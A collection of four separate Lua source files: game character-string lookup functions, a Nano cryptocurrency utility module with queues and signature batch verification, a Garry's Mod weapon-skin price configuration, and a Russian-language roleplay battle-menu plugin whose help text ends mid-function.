function GetActionString(action, modifier)
return getcharacterstring(STRINGS.ACTIONS, action, modifier) or "ACTION"
end
function GetDescription(character, item, modifier)
character = character and string.upper(character)
local itemname = item.components.inspectable.nameoverride or item.prefab
itemname = itemname and string.upper(itemname)
modifier = modifier and string.upper(modifier)
local ret = GetSpecialCharacterString(character)
if not ret then
if STRINGS.CHARACTERS[character] then
ret = getcharacterstring(STRINGS.CHARACTERS[character].DESCRIBE, itemname, modifier)
end
if not ret and STRINGS.CHARACTERS.GENERIC then
ret = getcharacterstring(STRINGS.CHARACTERS.GENERIC.DESCRIBE, itemname, modifier)
end
if not ret then
ret = STRINGS.CHARACTERS.GENERIC.DESCRIBE_GENERIC
end
end
if ret and item and item.components.repairable and item.components.repairable:NeedsRepairs() and item.components.repairable.announcecanfix then
local repair = nil
if STRINGS.CHARACTERS[character] and STRINGS.CHARACTERS[character].DESCRIBE then
repair = getcharacterstring(STRINGS.CHARACTERS[character], "ANNOUNCE_CANFIX", modifier)
end
if not repair and STRINGS.CHARACTERS.GENERIC then
repair = getcharacterstring(STRINGS.CHARACTERS.GENERIC, "ANNOUNCE_CANFIX", modifier)
end
if repair then
ret = ret..repair
end
end
return ret
end
function GetActionFailString(character, action, reason)
local ret = nil
local ret = GetSpecialCharacterString(character)
if ret then
return ret
end
if STRINGS.CHARACTERS[character] then
ret = getcharacterstring(STRINGS.CHARACTERS[character].ACTIONFAIL, action, reason)
end
if not ret then
ret = getcharacterstring(STRINGS.CHARACTERS.GENERIC.ACTIONFAIL, action, reason)
end
if ret then
return ret
end
return STRINGS.CHARACTERS.GENERIC.ACTIONFAIL_GENERIC
end
|
local cutil = require "prailude.util.lowlevel"
local crypto = require "prailude.util.crypto"
local timer = require "prailude.util.timer"
local coroutine_util = require "prailude.util.coroutine"
local parser = require "prailude.util.parser"
local balance = require "prailude.util.balance"
local blake2b_init, blake2b_update, blake2b_final = crypto.blake2b_init, crypto.blake2b_update, crypto.blake2b_finalize
local blake2b_hash = crypto.blake2b_hash
local unpack_account_with_checksum = cutil.unpack_account_with_checksum
local pack_account_with_checksum = cutil.pack_account_with_checksum
local util = {}
do
local batchsink_mt = {__index={
add = function(self, data)
local add_filter = rawget(self, "add_filter")
if add_filter then
data = add_filter(data)
if data == nil then
return self
end
end
table.insert(self.batch, data)
if self:full() then
return self:consume()
end
return self
end,
full = function(self)
return #(rawget(self, "batch")) >= self.batch_size
end,
finish = function(self)
return self:consume()
end,
consume = function(self)
self.__consume(self.batch)
self:clear()
return self
end,
clear = function(self)
rawset(self, "batch", {})
end,
batch_size = 10000
}}
function util.BatchSink(opt, fn)
if type(fn)=="function" and type(opt)=="number" then
opt={consume=fn, batch_size=opt}
end
return setmetatable({
__consume = opt.consume,
batch_size = opt.batch_size,
add_filter = opt.add_filter,
batch = {},
}, batchsink_mt)
end
end
do
local batchsource_mt = {__index = {
next = function(self)
local batch = self.batch
local n = rawget(self, "__batch_n")
if n >= #batch then
local total_n = rawget(self, "__total_n") + n
batch = self.__produce(total_n) or {}
rawset(self, "__total_n", total_n)
n = 1
self.batch = batch
else
n = n+1
end
rawset(self, "__batch_n", n)
return rawget(batch, n)
end,
each = function(self)
return function()
return self:next()
end
end
}}
function util.BatchSource(opt)
if type(opt) == "function" then
opt = {produce = opt}
end
return setmetatable( {
__produce = opt.produce,
__batch_n = 0,
__total_n = 0,
batch = {},
}, batchsource_mt)
end
end
local PageQueue; do
-- load_page(queue_id, page_id); BlockWalker.pop_page(self.walk_id, self.page_id)
-- store_page(queue_id, page_id, data)
-- store_item(item, page_state)
-- stored_page_size(queue_id, page_id)
-- page_id
local Page_meta = {__index = {
change_state = function(self, new_state)
local state = self.state
if state == new_state then
return self --nothing to do
end
if state == "stored" then -- must at least load from storage
local data = self.load_page(self.queue_id, self.id)
assert(type(data)=="table", "load_page gave a bad result")
self.data = data
end
if new_state == "idle" and state == "stored" then
self.state = new_state
return self -- we're done here
elseif new_state == "active" and (state == "idle" or state == "stored") then
local store_item, data = self.store_item, self.data
for i, item in ipairs(data) do
item = store_item(item, "active")
assert(item ~= nil, "store_item gave a nil result")
rawset(data, i, item)
end
self.first, self.last = 1, #self.data
end
if (new_state == "idle" or new_state == "stored") and state == "active" then
--idle pages only store compressed data
local store_item, data, newdata = self.store_item, self.data, {}
if data then
for i=self.first, self.last do
local item = store_item(data[i], "idle")
assert(item ~= nil, "store_item gave a nil result")
table.insert(newdata, item)
end
end
self.data, self.first, self.last = newdata, nil, nil
end
if new_state == "stored" then
self.store_page(self.queue_id, self.id, self.data)
self.data = nil
end
self.state = new_state
return self
end,
append = function(self, ...)
return self:add(...)
end,
add = function(self, item)
local state = self.state
item = self.store_item(item, state)
local data = self.data
if not data then
data = {}
self.data = data
end
if state == "active" then
local last = (rawget(self,"last") or 0) + 1
rawset(data, last, item)
rawset(self, "last", last)
if not self.first then
self.first = last
end
return true
elseif state == "idle" then
table.insert(data, item)
else
error("can't add block to " .. tostring(state) .. " page")
end
return true
end,
prepend = function(self, item)
local state = self.state
assert(state == "active", "can only prepend to active pages")
item = self.store_item(item, state)
local data = self.data
if not data then
data = {}
self.data = data
end
local first = (rawget(self,"first") or 0) - 1
rawset(data, first, item)
rawset(self, "first", first)
if not self.last then
self.last = first
end
return true
end,
next = function(self)
assert(self.state == "active")
local data = self.data
local first, last = self.first, self.last
if not data or not first or not last or first > last then
return nil, "empty"
end
local ret = data[first]
data[first] = nil
self.first = first + 1
return ret
end,
debug_each = function(self, callback)
if self.state == "active" then
for i=self.first, self.last do
callback(self.data[i], "active")
end
elseif self.state == "idle" then
for _, item in ipairs(self.data) do
callback(item, "idle")
end
elseif self.state == "stored" then
self:change_state("idle")
self:debug_each(callback)
self:change_state("stored")
else
error("unexpected page state " .. tostring(self.state))
end
end,
count = function(self)
if self.state == "active" then
if self.data then
return self.last - self.first + 1
else
return 0
end
elseif self.state == "idle" then
local data = self.data
return data and #data or 0
else
return self.stored_page_size(self.queue_id, self.id)
end
end,
}}
local function Page(queue_id, page_id, data_handlers, state)
return setmetatable({
queue_id = queue_id,
id = page_id,
store_item = data_handlers.store_item,
store_page = data_handlers.store_page,
load_page = data_handlers.load_page,
stored_page_size = data_handlers.stored_page_size,
state=state
}, Page_meta)
end
local PageQueue_meta = {__index = {
pagesize = 5000,
add = function(self, item)
local lastpage = self.last_page or self:add_page()
if lastpage:count() < self.pagesize then
return lastpage:add(item)
else
self:add_page()
return self:add(item)
end
end,
append = function(self, ...)
return self:add(...)
end,
prepend = function(self, item)
local firstpage = self.first_page or self:add_page()
if firstpage:count() < self.pagesize then
return firstpage:prepend(item)
else
self:prepend_page()
return self:prepend(item)
end
end,
add_page = function(self)
local next_page_id = self.next_page_id or 0
self.next_page_id = next_page_id + 1
local page
if self.first_page == nil then
page = Page(self.id, next_page_id, self.data_handlers, "active")
self.first_page = page
else
if self.last_page ~= self.first_page then
self.last_page:change_state("stored")
end
page = assert(Page(self.id, next_page_id, self.data_handlers, "idle"))
end
table.insert(self.pages, page)
self.last_page = page
return page
end,
prepend_page = function(self)
if self.first_page == nil then
return self:add_page() --equivalent to appending page
end
--print("prepend_page",self.first_page, #self.pages, self.first_page:count())
local next_page_id = self.next_page_id or 0
self.next_page_id = next_page_id + 1
local newpage = Page(self.id, next_page_id, self.data_handlers, "active")
table.insert(self.pages, 1, newpage)
--previously first page (self.pages[2]) should remain active, it might get consumed pretty soon
local thirdpage = self.pages[3]
if thirdpage and thirdpage ~= self.last_page and thirdpage.state ~= "stored" then
thirdpage:change_state("idle")
thirdpage:change_state("stored")
end
self.first_page = newpage
return self
end,
next_page = function(self)
local removed = table.remove(self.pages, 1) -- remove old first active page
if self.last_page == removed then
self.last_page = nil
end
local new_first_page = self.pages[1]
self.first_page = new_first_page
if new_first_page then
new_first_page:change_state("active")
return new_first_page
end
end,
next = function(self)
local firstpage = self.first_page
if firstpage == nil then
return nil
else
local ret = firstpage:next()
if not ret then
self:next_page()
return self:next()
else
return ret
end
end
end,
each = function(self)
return function()
return self:next()
end
end,
count = function(self)
local n = 0
for _, page in ipairs(self.pages) do
n = n + page:count()
end
return n
end,
debug_each = function(self, callback)
for _, page in ipairs(self.pages) do
page:debug_each(callback)
end
end,
debug_print = function(self)
local n, item_tostring = 0, self.data_handlers.item_tostring
local callback = function(item, status)
n = n + 1
print(("%4i: %s"):format(n, item_tostring(item, status)))
end
return self:debug_each(callback)
end
}}
function PageQueue(opt)
local pq = {
pages = {},
pagesize = opt.pagesize,
id = assert(opt.id, "id missing"),
data_handlers = {
store_item = assert(opt.store_item, "store_item missing"),
store_page = assert(opt.store_page, "store_page missing"),
load_page = assert(opt.load_page, "load_page missing"),
stored_page_size = assert(opt.stored_page_size, "stored_page_size missing"),
item_tostring = opt.item_tostring or tostring
}
}
assert(pq.id, "PageQueue ID required")
pq = setmetatable(pq, PageQueue_meta)
pq:add_page()
return pq
end
end
util.PageQueue = PageQueue
local MAX_BATCH_SIZE = 64
local Ed25519Batch = {
interval = 250, --ms
batch = {},
timer = nil
}
util.Cache = function(mode)
if mode == "off" then
return {
get = function()
return nil
end,
set = function(_, _, val)
return val
end,
clear = function() end,
cache = {}
}
elseif mode == "weak" then
--done this way instead of a function lookup index for efficiency
local cache
local obj = {
get = function(_, id)
return rawget(cache, id)
end,
set = function(_, id, value)
rawset(cache, id, value)
return value
end,
clear = function()
cache = setmetatable({}, {__mode="v"})
end,
cache = cache,
}
obj:clear()
return obj
elseif not mode then
error("missing cache mode")
else
error("unknown cache mode " .. tostring(mode))
end
end
function Ed25519Batch.add(msg, sig, pubkey, coro)
local batch = Ed25519Batch.batch
assert(#batch < MAX_BATCH_SIZE)
table.insert(batch, {msg, sig, pubkey, coro})
if #batch == MAX_BATCH_SIZE then
print("do a batch right now")
Ed25519Batch.batch = {}
local all_valid = crypto.edDSA_blake2b_batch_verify(#batch, batch)
if all_valid then
for i=1, MAX_BATCH_SIZE-1 do
coroutine_util.resume(batch[i][4], true)
end
--now the last coroutine
return true
else
local b
for i=1, MAX_BATCH_SIZE-1 do
b = rawget(batch, i)
coroutine_util.resume(b[4], b.valid)
end
--now the last coroutine
return batch[MAX_BATCH_SIZE].valid
end
else
if not Ed25519Batch.timer then
Ed25519Batch.start_timer()
end
return coroutine_util.yield()
end
end
function Ed25519Batch.start_timer()
Ed25519Batch.timer = timer.interval(Ed25519Batch.interval, function()
local batch = Ed25519Batch.batch
print("do a batch of size", #batch)
if #batch == 0 then
Ed25519Batch.timer = nil
return false --stops timer
else
Ed25519Batch.batch = {}
local all_valid = crypto.edDSA_blake2b_batch_verify(#batch, batch)
for _, b in ipairs(batch) do
coroutine_util.resume(b[4], b.valid or all_valid)
end
end
end)
end
util.timer = timer
util.blake2b = {
init = blake2b_init,
update = blake2b_update,
final = blake2b_final,
hash = blake2b_hash,
}
util.work = {
verify = crypto.nano_verify_work,
verify_test = crypto.nano_verify_work,
generate = crypto.nano_generate_work
}
util.argon2d_hash = crypto.argon2d_nano_hash
util.ed25519 = {
get_public_key = crypto.edDSA_blake2b_get_public_key,
sign = crypto.edDSA_blake2b_sign,
verify = crypto.edDSA_blake2b_verify,
batch_verify = function(batch)
local all_valid = crypto.edDSA_blake2b_batch_verify(#batch, batch)
if all_valid then
return true
else
for _, v in pairs(batch) do
if rawget(v, "valid") == nil then
rawset(v, "valid", true)
end
end
return false
end
end,
delayed_batch_verify = function(msg, sig, pubkey)
assert(#sig == 64, "signature length must be 64")
assert(#pubkey == 32, "pubkey length must be 32")
local coro = assert(coroutine_util.running(), "batch_verify must be called in a coroutine")
return Ed25519Batch.add(msg, sig, pubkey, coro)
end
}
util.parser = parser
util.unpack_account = function(raw)
return unpack_account_with_checksum(raw, blake2b_hash(raw, 5))
end
util.pack_account = function(account)
if #account ~= 64 then
return nil, "invalid account", "wrong length"
end
local raw, checksum_or_error = pack_account_with_checksum(account)
if not raw then
return nil, checksum_or_error
end
if blake2b_hash(raw, 5) ~= checksum_or_error then
return nil, "invalid account", "checksum fail"
end
return raw
end
util.vanitygen = function(str, center)
local not_alphabet_match = "[^13456789abcdefghijkmnopqrstuwxyz]"
local map = {
[" "] = "1",
l = "1",
v = "w",
["2"] = "3",
["0"] = "o"
}
str = str:lower()
if #str > 51 then
return nil, "string too big"
end
print("str", str)
str = str:gsub(".", map)
print("str", str)
local badchar = str:match(not_alphabet_match)
if badchar then
return nil, "character '" .. badchar .. "' not possible in address"
end
local fill = 51 - #str
if not center then
str = "xrb_1" .. str .. ("1"):rep(fill) .. "bbbbbbbb"
else
str = "xrb_1" .. ("1"):rep(math.floor(fill/2)) .. str .. ("1"):rep(math.ceil(fill/2)).."bbbbbbbb"
end
local raw, err = pack_account_with_checksum(str)
if not raw then return nil, err end
return unpack_account_with_checksum(raw, blake2b_hash(raw, 5))
end
util.bytes_to_hex = cutil.bytes_to_hex
util.bytes_to_hex_debug = function(bytes)
local hex = cutil.bytes_to_hex(bytes)
local n = 0
local out = {""}
for byte in hex:gmatch("..") do
table.insert(out, byte)
n = n+1
if n%16 == 0 then
table.insert(out, "\n")
elseif n%8 == 0 then
table.insert(out, " ")
end
end
return table.concat(out, " ")
end
util.hex_to_bytes = function(hex)
return cutil.hex_to_bytes(hex:upper())
end
util.print_hex = cutil.print_hex
util.balance = balance
util.coroutine = coroutine_util
return util
|
WepSkins.Config.Weps = {}
WepSkins.Config.Weps["cw_ak74"] = 2
WepSkins.Config.Weps["cw_ar15"] = 0
WepSkins.Config.Weps["cw_g3a3"] = 0
WepSkins.Config.Weps["cw_mp5"] = 0
WepSkins.Config.Weps["cw_deagle"] = 0
WepSkins.Config.Weps["cw_l115"] = 2
WepSkins.Config.Weps["cw_mr96"] = 1
WepSkins.Config.Weps["cw_scarh"] = 1
WepSkins.Config.Weps["cw_g18"] = 1
WepSkins.Config.Weps["cw_g36c"] = 1
WepSkins.Config.Weps["cw_ump45"] = 0
WepSkins.Config.Weps["cw_l85a2"] = 3
WepSkins.Config.Weps["cw_m14"] = 1
WepSkins.Config.Weps["cw_m1911"] = 2
WepSkins.Config.Weps["cw_m249_official"] = 0
WepSkins.Config.Weps["cw_m3super90"] = 0
WepSkins.Config.Weps["cw_mac11"] = 0
WepSkins.Config.Weps["cw_p99"] = 2
WepSkins.Config.Weps["cw_makarov"] = 2
WepSkins.Config.Weps["cw_shorty"] = 0
WepSkins.Config.Weps["cw_silverballer"] = 4
WepSkins.Config.Weps["cw_sv98"] = 0
WepSkins.Config.Weps["cw_vss"] = 0
WepSkins.Config.Weps["khr_m60"] = 1
WepSkins.Config.Weps["khr_pkm"] = 2
WepSkins.Config.Weps["khr_ns2000"] = 2
WepSkins.Config.Weps["khr_vector"] = 2
WepSkins.Config.Weps["khr_l2a3"] = 2
WepSkins.Config.Weps["khr_m4a4"] = 0
WepSkins.Config.Weps["khr_m95"] = 3
WepSkins.Config.Weps["khr_m82a3"] = 1
WepSkins.Config.Weps["khr_deagle"] = 0
WepSkins.Config.Weps["khr_rugermk3"] = 0
WepSkins.Config.Weps["cw_thompson"] = 2
-- Client side skins:
WepSkins.Config.ClientWorldModels = {}
WepSkins.Config.ClientWorldModels["cw_m249_official"] = true
WepSkins.Config.ClientWorldModels["cw_m3super90"] = true
WepSkins.Config.ClientWorldModels["cw_l115"] = true
WepSkins.Config.ClientWorldModels["cw_shorty"] = true
WepSkins.Config.ClientWorldModels["cw_l85a2"] = true
WepSkins.Config.ClientWorldModels["cw_scarh"] = true
WepSkins.Config.ClientWorldModels["cw_vss"] = true
WepSkins.Config.ClientWorldModels["cw_mac11"] = true
WepSkins.Config.ClientWorldModels["cw_makarov"] = true
WepSkins.Config.ClientWorldModels["cw_m1911"] = true
WepSkins.Config.ClientWorldModels["cw_thompson"] = true
WepSkins.Config.ClientWorldModels["cw_m14"] = true
WepSkins.Config.ClientWorldModels["cw_g36c"] = true
WepSkins.Config.ClientWorldModels["cw_silverballer"] = true
WepSkins.Config.Skins = {}
-- Base
WepSkins.Config.Skins["default"] = {name = "Default", path = "", price = 0}
-- Camo
WepSkins.Config.Skins["camo_purple"] = {name = "Purple Camo", path = "xyz/skins/camo_purple", price = 25000}
WepSkins.Config.Skins["bloodshot"] = {name = "Red Camo", path = "z_easyskins/camo/bloodshot", price = 25000}
WepSkins.Config.Skins["devgru"] = {name = "Camo", path = "z_easyskins/camo/devgru", price = 25000}
WepSkins.Config.Skins["digital"] = {name = "Digital Camo", path = "z_easyskins/camo/digital", price = 25000}
WepSkins.Config.Skins["mango"] = {name = "Mango Camo", path = "z_easyskins/camo/mango", price = 25000}
WepSkins.Config.Skins["sahara"] = {name = "Sahara Camo", path = "z_easyskins/camo/sahara", price = 25000}
WepSkins.Config.Skins["atacs"] = {name = "ATACS", path = "z_easyskins/camo/atacs", price = 25000}
WepSkins.Config.Skins["animalprint"] = {name = "Animal Print", path = "xyz/skins/animal_print", price = 25000}
-- Patterns
WepSkins.Config.Skins["craze"] = {name = "Zebra", path = "z_easyskins/camo/craze", price = 50000}
WepSkins.Config.Skins["dollars"] = {name = "Dollars", path = "z_easyskins/camo/dollars", price = 50000}
WepSkins.Config.Skins["blackhole"] = {name = "Blackhole", path = "z_easyskins/camo/blackhole", price = 50000}
WepSkins.Config.Skins["gold"] = {name = "Gold", path = "z_easyskins/camo/gold", price = 50000}
WepSkins.Config.Skins["aqua"] = {name = "Aqua", path = "z_easyskins/camo/aqua", price = 50000}
WepSkins.Config.Skins["wired"] = {name = "Wired", path = "z_easyskins/camo/wired", price = 50000}
WepSkins.Config.Skins["flora"] = {name = "Flora", path = "z_easyskins/camo/flora", price = 50000}
WepSkins.Config.Skins["dayofdead"] = {name = "Day Of The Dead", path = "z_easyskins/camo/dayofdead", price = 50000}
WepSkins.Config.Skins["coyote"] = {name = "Coyote", path = "z_easyskins/camo/coyote", price = 50000}
WepSkins.Config.Skins["breach"] = {name = "Breach", path = "z_easyskins/camo/breach", price = 50000}
WepSkins.Config.Skins["blitz"] = {name = "Color Blitz", path = "z_easyskins/camo/blitz", price = 50000}
WepSkins.Config.Skins["blackops"] = {name = "Blackops", path = "z_easyskins/camo/blackops", price = 50000}
WepSkins.Config.Skins["carbon"] = {name = "Carbon", path = "xyz/skins/carbon", price = 50000}
WepSkins.Config.Skins["blackice"] = {name = "Blackice", path = "xyz/skins/blackice", price = 50000}
WepSkins.Config.Skins["turtleshell"] = {name = "Turtle Shell", path = "xyz/skins/turtle_shell", price = 50000}
WepSkins.Config.Skins["sunset"] = {name = "Sunset", path = "xyz/skins/sunset", price = 50000}
WepSkins.Config.Skins["emoji"] = {name = "Emoji", path = "xyz/skins/emoji", price = 50000}
WepSkins.Config.Skins["bloodbath"] = {name = "Bloodbath", path = "xyz/skins/bloodbath", price = 50000}
WepSkins.Config.Skins["pear"] = {name = "Pear", path = "xyz/skins/pear", price = 50000}
WepSkins.Config.Skins["anarchy"] = {name = "Anarchy", path = "xyz/skins/anarchy", price = 50000}
WepSkins.Config.Skins["green_slime"] = {name = "Green Slime", path = "xyz/skins/green_slime", price = 50000}
-- Better patterns
WepSkins.Config.Skins["kawai"] = {name = "Kawai", path = "z_easyskins/camo/kawai", price = 100000}
WepSkins.Config.Skins["zebra"] = {name = "Rainbow Zebra", path = "z_easyskins/camo/zebra", price = 100000}
WepSkins.Config.Skins["graffiti"] = {name = "Graffiti", path = "z_easyskins/camo/graffiti", price = 100000}
WepSkins.Config.Skins["ronin"] = {name = "Ronin", path = "z_easyskins/camo/ronin", price = 100000}
WepSkins.Config.Skins["comic"] = {name = "Comic", path = "z_easyskins/camo/comic", price = 100000}
WepSkins.Config.Skins["der_riese"] = {name = "Der Riese", path = "z_easyskins/camo/der_riese", price = 100000}
WepSkins.Config.Skins["burger"] = {name = "Burger", path = "xyz/skins/burger", price = 100000}
WepSkins.Config.Skins["lostsouls"] = {name = "Lost Souls", path = "xyz/skins/lostsouls", price = 100000}
WepSkins.Config.Skins["firesouls"] = {name = "Fiore Souls", path = "xyz/skins/firesouls", price = 100000}
WepSkins.Config.Skins["tokyo"] = {name = "Tokyo", path = "xyz/skins/tokyo", price = 100000}
WepSkins.Config.Skins["paintball"] = {name = "Paintball", path = "xyz/skins/paintball", price = 100000}
WepSkins.Config.Skins["neoncharge"] = {name = "Neon Charge", path = "xyz/skins/neoncharge", price = 100000}
WepSkins.Config.Skins["anime_sin"] = {name = "Anime Sin", path = "xyz/skins/anime_sin", price = 100000}
WepSkins.Config.Skins["snacks"] = {name = "Snacks", path = "xyz/skins/snacks", price = 100000}
WepSkins.Config.Skins["amongus"] = {name = "Among Us", path = "xyz/skins/amongus", price = 100000}
-- Animated
WepSkins.Config.Skins["matrix"] = {name = "Matrix", path = "xyz/skins/matrix", price = 250000}
WepSkins.Config.Skins["orange_triangle"] = {name = "Orange Loop", path = "xyz/skins/orange_triangle", price = 250000}
WepSkins.Config.Skins["shapes"] = {name = "Crazy Shapes", path = "xyz/skins/shapes", price = 250000}
WepSkins.Config.Skins["blue_wave"] = {name = "Blue Wave", path = "z_easyskins/camo/blue_wave", price = 250000}
WepSkins.Config.Skins["burn"] = {name = "Burn", path = "z_easyskins/camo/burn", price = 250000}
WepSkins.Config.Skins["dark_matter"] = {name = "Void", path = "z_easyskins/camo/dark_matter", price = 250000}
WepSkins.Config.Skins["dark_pulse"] = {name = "Void Wave", path = "z_easyskins/camo/dark_pulse", price = 250000}
WepSkins.Config.Skins["dragon"] = {name = "Dragon Scales", path = "z_easyskins/camo/dragon", price = 250000}
WepSkins.Config.Skins["gold_matter"] = {name = "Gold Matter", path = "z_easyskins/camo/gold_matter", price = 250000}
WepSkins.Config.Skins["stars"] = {name = "Stars", path = "z_easyskins/camo/stars", price = 250000}
WepSkins.Config.Skins["ripple"] = {name = "Ripple", path = "z_easyskins/camo/ripple", price = 250000}
WepSkins.Config.Skins["plasma"] = {name = "Plasma", path = "xyz/skins/plasma", price = 250000}
-- Extra
WepSkins.Config.Skins["lego"] = {name = "Lego", path = "xyz/skins/lego", price = 1000000}
WepSkins.Config.Skins["mcdirt"] = {name = "Dirt", path = "xyz/skins/mcdirt", price = 1000000}
|
local bows = {
"nut_bow_long",
"nut_crossbow",
"nut_bow_nilf",
"nut_bow_ash"
}
function PLUGIN:SetupBattleMenu(menu)
if LocalPlayer():battle_hasTarget(100) then
local target = LocalPlayer():battle_hasTarget(100)
--if !LocalPlayer():battle_beingAttacked() then
menu:addButton("Удар", function()
netstream.Start("battle_attack", target)
end)
menu:addButton("Удар (прицельный)", function(this)
local limb = {
["Голова"] = "голову",
["Шея"] = "шею",
["Пах"] = "пах",
["Живот"] = "живот",
["Грудь"] = "грудь",
["Правая рука"] = "правую руку",
["Левая рука"] = "левую руку",
["Правая нога"] = "правую ногу",
["Левая нога"] = "левую ногу"
}
local limbs = this:Add("DMenu")
for k, v in pairs(limb) do
limbs:AddOption(k, function()
netstream.Start("battle_attack_aim", target, v, k)
end)
end
limbs:Open()
end)
menu:addButton("Остановить", function()
netstream.Start("battle_stop", target)
end)
--end
end
menu:addButton("Реакция", function()
netstream.Start("battle_reflex")
end)
menu:addButton("Уворот", function()
netstream.Start("battle_dodge")
end)
if LocalPlayer():battle_getWeapon() > 0 or LocalPlayer():battle_wearingShield() then
menu:addButton("Блок", function()
netstream.Start("battle_block")
end)
end
menu:addButton("Побег", function()
netstream.Start("battle_leave")
end)
if table.HasValue(bows, LocalPlayer():GetActiveWeapon():GetClass()) and LocalPlayer():battle_hasTarget(1500) and !LocalPlayer():battle_hasTarget(150) and LocalPlayer():GetActiveWeapon():Ammo1() > 0 then
local target = LocalPlayer():battle_hasTarget(1500)
menu:addButton("Выстрел", function()
netstream.Start("battle_shoot", target)
end)
menu:addButton("Выстрел (прицельный)", function(this)
local limb = {
["Голова"] = "голову",
["Шея"] = "шею",
["Пах"] = "пах",
["Живот"] = "живот",
["Грудь"] = "грудь",
["Правая рука"] = "правую руку",
["Левая рука"] = "левую руку",
["Правая нога"] = "правую ногу",
["Левая нога"] = "левую ногу"
}
local limbs = this:Add("DMenu")
for k, v in pairs(limb) do
limbs:AddOption(k, function()
LocalPlayer():GetActiveWeapon():TakePrimaryAmmo(1)
netstream.Start("battle_shoot_aim", target, v, k)
end)
end
limbs:Open()
end)
end
end
function PLUGIN:SetupBattleMenu_attack(menu)
local player = LocalPlayer()
menu:addLabel("Реакция", math.Round(player:getChar():getAttrib("stm", 0) / 3 + player:getChar():getAttrib("str", 0) / 3 + player:getChar():getAttrib("end", 0) / 3))
menu:addLabel("Остановить", math.Round(player:getChar():getAttrib("str", 0) / 3.5 + player:getChar():getAttrib("stm", 0) / 3.5 + player:getChar():getAttrib("melee", 0) / 3.5))
menu:addLabel("Точность (Рукопаш.)", math.Round(15 + player:getChar():getAttrib("melee", 0) / 1.5 + player:getChar():getAttrib("stm", 0) / 3))
menu:addLabel("Точность (Одноруч.)", math.Round(10 + player:getChar():getAttrib("onehanded", 0) / 1.5 + player:getChar():getAttrib("stm", 0) / 3))
menu:addLabel("Точность (Двуруч.)", math.Round(player:getChar():getAttrib("twohanded", 0) / 1.5 + player:getChar():getAttrib("stm", 0) / 3))
menu:addLabel("Точность (Стрельба)", math.Round(15 + player:getChar():getAttrib("bow", 0) / 2 + player:getChar():getAttrib("stm", 0) / 4 + player:getChar():getAttrib("str", 0) / 4))
menu:addLabel("Крит (Рукопаш.)", math.Round(player:getChar():getAttrib("melee", 0) / 20).."%")
menu:addLabel("Крит (Одноруч.)", math.Round(player:getChar():getAttrib("onehanded", 0) / 20).."%")
menu:addLabel("Крит (Двуруч.)", math.Round(player:getChar():getAttrib("twohanded", 0) / 20).."%")
menu:addLabel("Крит (Стрельба)", math.Round(player:getChar():getAttrib("bow", 0) / 20).."%")
end
function PLUGIN:SetupBattleMenu_defence(menu)
local player = LocalPlayer()
menu:addLabel("Здоровье", player:battle_getHealthPoints().."/"..player:battle_getMaxHealthPoints())
menu:addLabel("Проворство", math.Round(player:battle_getDodgeChance() / player:getChar():getData("ArmorType", 1)))
--menu:addLabel("Побег", math.Round(player:battle_getDodgeChance() / player:getChar():getData("ArmorType", 1)))
menu:addLabel("Блок (Рукопаш.)", math.Round(15 + player:getChar():getAttrib("melee", 0)/2 + player:getChar():getData("end", 0)/5 + player:getChar():getData("str", 0)/5))
menu:addLabel("Блок (Одноруч.)", math.Round(15 + player:getChar():getAttrib("onehanded", 0)/2 + player:getChar():getData("stm", 0)/5 + player:getChar():getData("str", 0)/5))
menu:addLabel("Блок (Двуруч.)", math.Round(15 + player:getChar():getAttrib("twohanded", 0)/2 + player:getChar():getData("stm", 0)/5 + player:getChar():getData("str", 0)/5))
menu:addLabel("Блок (Щиты)", math.Round(25 + player:getChar():getAttrib("shield", 0)/2 + player:getChar():getAttrib("end", 0)/5 + player:getChar():getData("str", 0)/5))
menu:addLabel("Броня (Колющ.)", (LocalPlayer():battle_getArmorDefence()[DMG_CLUB] or 0 ).."%")
menu:addLabel("Броня (Режущ.)", (LocalPlayer():battle_getArmorDefence()[DMG_SLASH] or 0 ).."%")
menu:addLabel("Броня (Дроб.)", (LocalPlayer():battle_getArmorDefence()[DMG_CRUSH] or 0 ).."%")
end
function PLUGIN:DrawCharInfo(client, character, info)
local COLOR_HP = Color((255 / client:battle_getMaxHealthPoints()) * (client:battle_getMaxHealthPoints() - client:battle_getHealthPoints()), (255 / client:battle_getMaxHealthPoints()) * client:battle_getHealthPoints(), 0, 255)
info[#info + 1] = {"Очки Здоровья: "..client:battle_getHealthPoints().."/".. client:battle_getMaxHealthPoints(), COLOR_HP}
end
hook.Add("BuildHelpMenu", "nutBattleHelp", function(tabs)
tabs["Бой"] = function(node)
local body = "<font size='+3'>Основы</font><p>Чтобы выбрать какое-либо действие, нужно нажать клавишу 'С', глядя на цель, если это атака. При нажатии одной из кнопок действий, в чат будет отправлено число, определяющее силу данного действия. Все рассчеты происходят автоматически без вмешательства игрока или администратора.</p> <p>РП бой происходит по ходам. Поочередность ходов определяется действием 'Реакция' по убыванию выпавших чисел. Вмешаться в уже идущий бой можно только после двух кругов действий (когда каждый участник хода выполнил действие в свой ход).</p>"
body = body.."<font size='+3'>Атака и защита</font><p>При атаке одним персонажем другого происходит сравнение двух значений - Точности атаки и Проворства или Стойкости обороняющегося. Если Точность больше Проворства или Стойкости, то атака успешно проходит, нанося урон обороняющемуся. Если Проворство или Стойкость больше значения Точности, то обороняющийся уклонился или заблокировал удар. При равных значениях действия повторяются.</p>"
body = body.."<font size='+3'>Урон</font><p>При успешных атаках противника Ваш персонаж будет получать ранения разной степени тяжести. Следует в полной мере отыгрывать полученные ранения, исходя из количества нанесенного урона. </p><p>0 - 4 - мелкая царапина или синяк.</p><p>4 - 8 - царапина или слабый ушиб.</p><p>8 - 12 - кровоточащая рана или ушиб.</p><p>12 - 16 - глубокая рана или сильный ушиб.</p><p>16 - 20 - глубокая рана с повреждением кости, перелом.</p><p>20+ - отсечение конечности, взрыв ее вследствие дробящего урона, очень сильное повреждение. В любом из случаев конечность выводится из строя.</p>"
body = body.."<font size='+3'>Побег</font><p>Персонаж может сбежать из боя, использовав действие 'Побег'. ОДИН из участников боя может попробовать остановить его, использовав действие 'Остановить'. При успешном побеге персонаж покидает бой. При неудачном побеге бой продолжается. Персонаж может попробовать сбежать снова только через 3 круга ходов.</p><p>Также действие 'Остановить' можно использовать для остановки бегущего персонажа. Дабы убежать, он должен использовать действие 'Побег'.</p>"
body = body.."<font size='+3'>Блок</font><p>Персонаж может попробовать заблокировать удар с помощью своего оружия, щита или рук. При блоке без оружия урон наносится в левую или правую руку персонажа. Кидается /roll, больше 50 - правая.</p>"
